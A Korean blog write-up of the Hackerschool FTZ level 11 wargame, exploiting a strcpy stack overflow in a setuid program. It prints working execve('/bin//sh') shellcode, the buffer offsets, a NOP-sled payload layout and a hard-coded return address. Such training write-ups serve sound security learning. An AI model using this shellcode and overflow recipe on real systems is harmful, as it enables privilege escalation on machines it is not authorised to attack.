본문 바로가기

시스템/FTZ

hackerschool FTZ : level 11 풀이

디렉토리 확인



hint



여기서 setreuid는 다시 ruid, euid를 각각 원하는 대로 변경가능한 함수

ruid : 프로세스 실제 소유자                                                    

euid: SetUID 권한이 설정된 실행 파일에 의해 변경된다.                

euid는 일시적으로 다른 계정의 uid 저장하고,              

euid에 저장된 uid에 따라 프로세스의 권한이 결정된다.  


여튼 내용보니 strcpy를 이용해 bof 하면 될 것 같다.


argv[1]에 넣을 쉘 코드 만들기


1. 쉘을 만들 간단한 C코드 



2. 컴파일 후 objdump를 이용해 어셈코드 확인


main


execve


여기서 중요한 어셈블리만 뽑아서

위 메인함수의 execve(sh[0],sh,NULL); 에 필요한 최소한의 어셈코드를 작성




컴파일 후 확인


밑에 보면 이 쉘코드는 NULL이 포함된 쉘코드 -> 정상적으로 실행 안할 가능성 있으니 NULL제거 작업


NULL을 제거한 어셈코드


xor 이용해서 null제거 

mov $0x0 %eax -> xor %eax %eax 

이걸로 push $0x0할거 0값을 가진 레지스터(ex. eax)를 push


NULL제거한 어셈코드 정상적으로 실행하는 지 확인




 어셈코드 확인하고 주요 어셈블리만 쉘코드로 작성



“\x31\xc0”

“\x50”

“\x68\x2f\x2f\x73\x68”

“\x68\x2f\x62\x69\x6e”

“\x89\xe3”

“\x50”

“\x53”

“\x89\xe1”

“\x89\xc2”

“\xb0\x0b”

“\xcd\x80”

-> 이어적어도 상관X


쉘코드

 ”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”


쉘코드를 실행하는 코드 작성


이제 argv[1]에 넣기 위해 argv[1]에 할당된 크기 확인


main 함수의 어셈코드를 확인해 보면



0x108=264byte 만큼 할당 되어있음

sfp(4byte)+ret(4byte)= 272byte



268byte(dummy+shellcode)+4byte(ret) 입력하면 완성

shellcode크기를 뺀 나머지만큼 '\x90'로 채워주고 ret에 shellcode의 시작주소를 넣는다.

(사실 '\x90'가 있는 아무주소나 때려넣으면 된다. - nop슬라이드 기법)



"it is like this"


*참고

1. 0xbffffb20(쉘코드 시작주소)가 안먹혀서 0xbffffb21을 넣어야 한다.                               

2. perl -e 명령어를 사용하면 메모리에 \x90 -> \xc290 으로 잘못 인식된다.(크기: 2->4byte)

왜? 엔코딩이 utf로 설정되있어서 \x90입력할 때 utf형식으로 2byte가 들어가기 때문

해결: export lang= , export lang=en_us 처럼 비워주거나 en_us입력                      

'시스템 > FTZ' 카테고리의 다른 글

hackerschool FTZ : level 5 풀이  (0) 2019.03.28
hackerschool FTZ : level4 풀이  (0) 2019.03.28
hackerschool FTZ : level 3 풀이  (0) 2019.03.27
hackerschool FTZ : level2 풀이  (0) 2019.03.27
hackerschool FTZ : level1 풀이  (0) 2019.03.27